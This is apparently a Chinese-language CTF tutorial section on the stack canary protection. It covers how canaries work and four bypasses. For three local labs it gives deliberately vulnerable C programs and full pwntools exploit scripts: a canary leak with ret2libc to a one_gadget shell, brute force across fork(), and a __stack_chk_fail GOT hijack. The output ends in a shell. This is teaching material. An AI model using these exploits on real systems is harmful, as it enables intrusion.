本小节我们介绍栈溢出保护Canary这一针对栈溢出的缓解保护措施。
🛡️ Defence
🐦 Canary
Canary是金丝雀的意思,这个名字的来源是以前煤矿工为了检测矿洞内一氧化碳浓度是否超出安全水平,会随身提着关有金丝雀的笼子。金丝雀对甲烷和一氧化碳的成分比较敏感,会报警。技术上,Canary表示最先的测试。在栈帧销毁并返回原函数前,程序会先进行栈溢出检测。
进入某个函数时,如果程序开启了栈溢出保护,那么会在程序的开头和程序的结尾添加两段代码。程序会在函数开头读一个8字节的随机数,64位下是写到保存的rbp寄存器值前面。
我们来看一个demo
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void vuln()
{
char buf[0x20];
read(0, buf, 0x200);
}
int main()
{
vuln();
return 0;
}这个demo是典型的一个栈溢出漏洞。在编译时,我们使用参数来控制canary的开启和关闭
# 关闭canary
gcc -fno-stack-protector pwn.c -o pwn
# 开启部分canary,栈上有char数组的部分
gcc -fstack-protector pwn.c -o pwn
# 开启全部canary
gcc -fstack-protector-all pwn.c -o pwn
上图是没有canary时的vuln函数

上图是开启了canary保护时的vuln函数。可以发现,这时我们的函数被插入了两行代码。
v2 = __readfsqword(0x28u);
return v2 - __readfsqword(0x28u)其中__readfsqword(0x28)就是从fs+0x28的位置读8字节,fs作为一个段寄存器,它储存着线程局部储存TLS的结构体,我们的canary就是在这个结构体上。

如图所示,canary在rbp上方。而我们对栈溢出的利用要求程序至少能控制返回地址,所以在canary 开启的情况下。我们要想溢出,就必须覆盖到canary。在程序返回时,会检测canary是否和fs+0x28处的原始canary是否相同。如果相同,那么正常返回,如果不相同,那么说明发生了栈溢出,bp和return_address可能被篡改,那么直接报错退出。
❯ ./canary
111111111111111111111111111111111111111111111111111111111
*** stack smashing detected ***: terminated
[1] 10715 IOT instruction (core dumped) ./canary我们可以通过gdb来观察canary在栈中的状态。
pwndbg> stack 30
00:0000│ rax rsi rsp 0x7fffffffd2a0 ◂— 0
01:0008│-028 0x7fffffffd2a8 ◂— 0
02:0010│-020 0x7fffffffd2b0 ◂— 0
03:0018│-018 0x7fffffffd2b8 ◂— 0
04:0020│-010 0x7fffffffd2c0 ◂— 0
05:0028│-008 0x7fffffffd2c8 ◂— 0x9a71e152988f900 => CANARY
06:0030│ rbp 0x7fffffffd2d0 —▸ 0x7fffffffd2e0 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3e0 ◂— 0 => SAVED RBP
07:0038│+008 0x7fffffffd2d8 —▸ 0x555555555196 (main+9) ◂— mov eax, 0 => return address00:0000│ rax rsi rsp 0x7fffffffd2a0 ◂— 0
01:0008│-028 0x7fffffffd2a8 ◂— 0
02:0010│-020 0x7fffffffd2b0 ◂— 0
03:0018│-018 0x7fffffffd2b8 ◂— 0
04:0020│-010 0x7fffffffd2c0 ◂— 0
05:0028│-008 0x7fffffffd2c8 ◂— 0xa6a19e02c1bc900
06:0030│ rbp 0x7fffffffd2d0 —▸ 0x7fffffffd2e0 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3e0 ◂— 0
07:0038│+008 0x7fffffffd2d8 —▸ 0x555555555196 (main+9) ◂— mov eax, 0观察到canary
0x9a71e152988f900
0xa6a19e02c1bc900可以发现canary是一串随机数,并且有一个显著的特征,canary的末尾被设置为了\x00,这个设计是防止如同puts和printf等函数在不溢出的情况下直接泄露canary。
🗡️ Bypass
接下来我们介绍canary的绕过方式。在我们需要栈溢出来控制执行流时,必然栈溢出是能够控制到返回地址。所以,我们必然能够控制到canary所在的位置。如果我们在栈溢出之前,先将canary泄露出来,就可以通过canary的检查。这是绕过canary最基本的方法。或者直接爆破canary。在之前的介绍中,我们提到canary的原始值被存放在fs+0x28的位置,如果我们能够写到此处,将canary控制为一个我们人工设定的值,比如0x1234567812345600,也可以通过canary的检测。或者说,我们无法完成上述的工作,在特定情况下也可以通过劫持canary的错误处理流程来直接leak data
💦 Leak Canary
泄露canary有很多方法,包括不限于格式化字符串导致的栈上任意读,数组越界导致任意读等经典的漏洞。之前我们介绍过canary的末字节被置零防止直接的泄露,这是因为在C语言中字符串通常以\x00为结尾。在我们具有栈溢出能力的情况下,可以通过printf('%s')等函数泄露canary。
我们由一个实验来学习这种攻击方法。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
void vuln()
{
char buf[0x20];
printf("Input your payload:");
read(0, buf, 0x100);
printf("Your payload: %s\n", buf);
puts("What are you doing?");
read(0, buf, 0x100);
}
int main()
{
init();
vuln();
return 0;
}用以下命令编译
gcc -no-pie Lab-s-3-4-1.c -o Lab编译好之后查一下保护
❯ checksec --file=Lab
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 27 Symbols No 0 2 Lab程序显然存在明显的栈溢出,但是存在canary,我们想要栈溢出必须绕过。这里有两个溢出点read(0, buf, 0x60)。在read之后,程序为printf打印我们输入的字符串。所以我们可以通过覆写canary最低字节,然后printf将canary打印出来。获得canary之后,我们就可以在最后的read溢出控制执行流了。
padding = cyclic(0x20) + b'A' * 0x8
io.sendlineafter(b'payload:', padding)
io.recvuntil(b'AAAAAAAA\n')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + hex(canary))调试界面如下
00:0000│ rsp 0x7ffec4954a80 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008│-028 0x7ffec4954a88 ◂— 0x6161616461616163 ('caaadaaa')
02:0010│-020 0x7ffec4954a90 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018│-018 0x7ffec4954a98 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020│-010 0x7ffec4954aa0 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│-008 0x7ffec4954aa8 ◂— 0x396be8abbb05010a -> Last Byte has been changed现在进入第二个read控制执行流,要控制到哪里呢?本实验没有内置明显的后门函数,也没有可用的gadgets。只能考虑ret2libc,我们可以通过泄露canary的printf泄露栈上的libc信息。所以控制执行流到vuln函数起始位置。
vuln_addr = 0x4011C7
payload = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(vuln_addr)
io.sendafter(b'doing?\n', payload)栈布局如下
00:0000│ rsi rsp 0x7ffd90e5d480 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa'
01:0008│-028 0x7ffd90e5d488 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaa'
02:0010│-020 0x7ffd90e5d490 ◂— 'eaaafaaagaaahaaaiaaajaaa'
03:0018│-018 0x7ffd90e5d498 ◂— 'gaaahaaaiaaajaaa'
04:0020│-010 0x7ffd90e5d4a0 ◂— 'iaaajaaa'
05:0028│-008 0x7ffd90e5d4a8 ◂— 0xc4e8b0053ca16400
06:0030│ rbp 0x7ffd90e5d4b0 ◂— 0xdeadbeef
07:0038│+008 0x7ffd90e5d4b8 —▸ 0x4011c7 (vuln) ◂— push rbp现在重新进入vuln泄露libc
padding = cyclic(0x38) + b'B' * 0x8
io.sendafter(b'payload:', padding)
io.recvuntil(b'BBBBBBBB')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - (0x7fe700227635 - 0x7fe700200000)
log.success("Libc base: " + hex(libc_base))栈布局
00:0000│ rsi rsp 0x7ffd90e5d488 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008│-028 0x7ffd90e5d490 ◂— 0x6161616461616163 ('caaadaaa')
02:0010│-020 0x7ffd90e5d498 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018│-018 0x7ffd90e5d4a0 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020│-010 0x7ffd90e5d4a8 ◂— 0x6161616a61616169 ('iaaajaaa')
05:0028│-008 0x7ffd90e5d4b0 ◂— 0x6161616c6161616b ('kaaalaaa')
06:0030│ rbp 0x7ffd90e5d4b8 ◂— 0x6161616e6161616d ('maaanaaa')
07:0038│+008 0x7ffd90e5d4c0 ◂— 0x4242424242424242 ('BBBBBBBB')
08:0040│+010 0x7ffd90e5d4c8 —▸ 0x7faa81627635 ◂— mov edi, eax泄露rbp+0x10的libc地址,通过调试找到该地址相对基地址的偏移量。
libc命令可以显示当前程序的libc基地址
之后直接使用one_gadget来GET SHELL即可。
pwndbg> one
Using libc: /usr/lib/libc.so.6
0xe5fb0 execve("/bin/sh", r9, r10)
+----------+-----------------------------------------------------+
| Result | Constraint |
+==========+=====================================================+
| SAT | [r9] == NULL || r9 == NULL || r9 is a valid argv |
+----------+-----------------------------------------------------+
| SAT | [r10] == NULL || r10 == NULL || r10 is a valid envp |
+----------+-----------------------------------------------------+
Found 1 SAT gadgets.
Found 8 UNSAT gadgets.
Found 0 UNKNOWN gadgets.
Full Exp
from pwn import *
io = process("./Lab")
# Leak canary
padding = cyclic(0x20) + b'A' * 0x8
io.sendlineafter(b'payload:', padding)
io.recvuntil(b'AAAAAAAA\n')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + hex(canary))
#hijack control flow
vuln_addr = 0x4011C7
payload = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(vuln_addr)
io.sendafter(b'doing?\n', payload)
#leak libc address
padding = cyclic(0x38) + b'B' * 0x8
io.sendafter(b'payload:', padding)
io.recvuntil(b'BBBBBBBB')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - (0x7fe700227635 - 0x7fe700200000)
log.success("Libc base: " + hex(libc_base))
#one_gadget get shell
one_gadget = libc_base + 0xe5fb0
payload = cyclic(0x28) + p64(canary) + p64(0) + p64(one_gadget)
io.sendafter(b'doing?\n', payload)
io.interactive()执行结果
❯ python exp.py
[+] Starting local process './Lab': pid 16751
[+] Canary: 0x578c630515f0bd00
[+] Libc base: 0x7f15bee00000
[*] Switching to interactive mode
$ whoami
K4per本实验使用printf("%s")泄露栈上数据。但同样也有其他泄露canary的方法。接下来我们介绍爆破canary的技术。
💥 Exhaustive Canary
暴力破解canary是最直接的canary攻击手法。由于canary只有八字节,末尾字节还为0,所以我们只需要爆破canary的七个字节就行。canary的爆破常见于程序通过fork()创建了一个子进程,由于通过fork()创建的进程,内存直接原样拷贝,所以两个进程的canary是相同的。
如果在32位,那么我们只需要爆破3字节。
我们由一个实验来学习这种攻击方法。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
void getshell()
{
system("/bin/sh");
}
void vuln()
{
char buf[0x20];
read(0, buf, 0x200);
}
int main()
{
init();
while(1)
{
printf("Hello, Pwner!");
if( fork() ) {
wait(NULL);
}
else {
vuln();
exit(0);
}
}
return 0;
}用以下命令编译
$ gcc Lab-s-3-4-2.c -no-pie -fstack-protector -z noexecstack -o Lab显然存在溢出点。我们只需要拿到canary就可以ret2text了。由于我们的fork完全拷贝数据来创建子进程,那么两个进程的canary显然相同,逐字节爆破即可。
from pwn import *
import time
io = process("./Lab")
backdoor = 0x401207
ret = 0x40101a
canary = b'\x00'
for i in range(7):
for j in range(0, 256):
#io.recvuntil(b'Hello, Pwner!')
payload = cyclic(0x28) + canary + p8(j)
io.send(payload)
time.sleep(0.2)
res = io.recv()
if (b'stack smashing detected' not in res):
print(f"The {i} is { hex(j) }")
canary += p8(j)
break
log.success(f"Canary: {hex(u64(canary))}")
payload = cyclic(0x28) + canary + p64(0xdeadbeef) + p64(ret) + p64(backdoor)
sleep(0.5)
io.send(payload)
io.interactive()🎩 Hijack Canary Check
canary在返回前会先执行一次判断,如果检测到溢出,那么会调用___stack_chk_fail。在程序逻辑中我们也可以看到这点。

而在动态链接的程序中,该函数是一个正常的延迟绑定函数,也就是说,程序通过GOT表来储存该函数在延迟绑定流程后的真实地址。如果我们劫持了该函数的GOT,也就能成功控制执行流了。

我们通过实验Lab-s-3-4-3来学习这种攻击手法。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
void backdoor()
{
system("/bin/sh");
}
void key()
{
char buf[8];
char *ptr = (char *)&buf;
puts("addr:");
read(0, &ptr, 8);
puts("data:");
read(0, ptr, 8);
}
void vuln()
{
char buf[0x40];
key();
puts("Let's start.");
read(0, buf, 0x100);
}
int main()
{
init();
vuln();
return 0;
}通过以下命令编译
gcc Lab-s-3-4-3.c -no-pie -fstack-protector -z lazy -o Lab查看一下保护
❯ checksec --file=Lab
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 35 Symbols No 0 1 LabPartial RELRO的情况下,启用了延迟绑定。也就是说,我们一开始的___stack_chk_fail的got表是一个非随机化的地址。
程序存在栈溢出,同时有一个任意写漏洞。

第一个read修改buf指针,第二个read去写入内容。这里就可以用来劫持GOT。具体操作先劫持buf为___stack_chk_fail的GOT地址,然后修改为backdoor的地址。此时我们回到vuln触发栈溢出,由于开启了canary,所以自然会失败,程序调用__stack_chk_fail,这个时候调用的GOT已经被劫持了,所以会进入backdoor
from pwn import *
io = process("./Lab")
elf = ELF("./Lab")
target_addr = 0x404008 # ___stack_chk_fail
backdoor_addr = elf.symbols['backdoor']
io.sendafter(b'addr:\n', p64(target_addr))
io.sendafter(b'data:\n', p64(backdoor_addr))
io.sendafter(b'start.\n', cyclic(0x70))
io.interactive()结果如下
❯ python exp.py
[+] Starting local process './Lab': pid 50231
[*] '/home/K4per/Public/CTF/Challenge/Turiral/Stack-3-4/Stack-3-4-3/Lab'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
$ whoami
K4per🆕 Overwrite TLS
线程局部存储(英语:Thread-local storage,缩写:TLS)是一种存储持续期(storage duration),对象的存储是在线程开始时分配,线程结束时回收,每个线程有该对象自己的实例。这种对象的链接性(linkage)可以是静态的也可是外部的。
canary之前说过由一个TLS结构体分配,TLS结构体的寻址是通过fs段寄存器实现的。在fs+0x28的位置存储着canary的原始值。当进行canary校验时,使用的也是此处的值。如果通过某种方式,我们泄露出了fs寄存器的值,那么就可以直接修改到canary所在的位置,那么canary就可控了,可以修改为我们想要的值。
💬 Summarize
本节我们学习了canary是如何缓解栈溢出攻击的,并且学习了canary的四种绕过手法。最后一种绕过手法这里留作作业。到此为止,Stack-3的内容就已经学习完毕了,下一节我们将进入Stack-4 格式化字符串。
🚩 极客大挑战2024 - stack_overflow
哇,又是我最喜欢打的栈溢出啦 https://www.ctfplus.cn/problem-detail/1860679741309194240/description
